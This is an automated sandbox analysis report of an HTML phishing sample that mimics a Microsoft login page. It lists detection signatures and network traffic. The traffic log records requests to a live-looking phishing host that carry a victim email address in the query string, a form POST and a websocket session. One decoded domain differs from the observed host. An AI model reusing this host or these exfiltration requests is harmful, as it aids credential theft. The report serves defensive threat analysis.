Edit tour

Windows Analysis Report
sample.html

Overview

General Information

Sample name:	sample.html
Analysis ID:	1446999
MD5:	1ca46b5f878e2b6e2cd71d8296d40c8b
SHA1:	d416c1785b705bb7a594b7eaf9ab4e1f3bc768fa
SHA256:	ca14e58e997b5eb8c8eeaefd13a30fa4831ecfb806299884365f38011cd9a31a
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected suspicious javascript

HTML Script injector detected

HTML document with suspicious title

HTML file submission containing password form

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\sample.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2000,i,18333040046512909352,8321515222711059962,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/sample.html

LLM: Score: 9 brands: Microsoft Reasons: The URL 'file:///C:/Users/user/Desktop/sample.html' is a local file path, not a legitimate domain. The page mimics Microsoft's login page, which is a common target for phishing. The presence of a login form asking for a password and the use of Microsoft's branding are indicative of social engineering techniques. DOM: 0.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML

AI detected suspicious javascript

Source: file:///C:/Users/user/Desktop/sample.html

LLM: Score: 9 Reasons: The JavaScript code appears to be obfuscated and is attempting to send a GET request to a URL that decodes to 'http://travelonfrandvacations.com/s/d/997ac54c46?b51e238161f6=admin@microsoft.com'. The use of obfuscation and the inclusion of an email address in the URL query parameters are strong indicators of malicious intent, potentially phishing or data exfiltration. DOM: 0.0.pages.csv

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.1.1.min.js
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.1.1.min.js
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.1.1.min.js

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/sample.html

Tab title: Sign in to Best Productivity Provider

Phishing site detected (based on image similarity)

Source: file:///C:/Users/user/Desktop/sample.html

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/sample.html	Matcher: Template: microsoft matched
Source: file:///C:/Users/user/Desktop/sample.html	Matcher: Template: microsoft matched
Source: file:///C:/Users/user/Desktop/sample.html	Matcher: Template: microsoft matched

Source: file:///C:/Users/user/Desktop/sample.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/sample.html

HTTP Parser: Total embedded image size: 13734

Source: file:///C:/Users/user/Desktop/sample.html

HTTP Parser: Title: Sign in to Best Productivity Provider does not match URL

Source: file:///C:/Users/user/Desktop/sample.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/sample.html

HTTP Parser: <input type="password" .../> found

Source: sample.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/sample.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49736 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 13.107.213.45 13.107.213.45
Source: Joe Sandbox View	IP Address: 13.107.213.67 13.107.213.67
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.120.29
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /botd/v1 HTTP/1.1Host: openfpcdn.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yk5mkZvHsbXU8VF&MD=byZ9MkxY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yk5mkZvHsbXU8VF&MD=byZ9MkxY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /s/d97ac54c463?b51e238161f6=admin@microsoft.com HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Origin: nullAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/d97ac54c463?b51e238161f6=admin@microsoft.com HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Origin: nullAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/5?0 HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: keep-aliveOrigin: nullUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/d97ac54c463?b51e238161f6=admin@microsoft.com HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/5?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617 HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/31?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617 HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: nullSec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: BQY5ZGhFWG6fPEfYvBYWiA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: global traffic	DNS traffic detected: DNS query: c7642d242.travelhiltongrandvacations.com
Source: global traffic	DNS traffic detected: DNS query: openfpcdn.io
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /r/5?session=a0036ebb777d9bec704a2424ad3254caf695a8e96781526647f901b8b8091617 HTTP/1.1Host: c7642d242.travelhiltongrandvacations.comConnection: keep-aliveContent-Length: 373User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4JcrhxA162PHBrfyAccept: */*Origin: nullAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_65.2.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_65.2.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_66.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_66.2.dr	String found in binary or memory: https://fingerprint.com)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49736 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.winHTML@14/33@16/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\sample.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2000,i,18333040046512909352,8321515222711059962,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2000,i,18333040046512909352,8321515222711059962,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
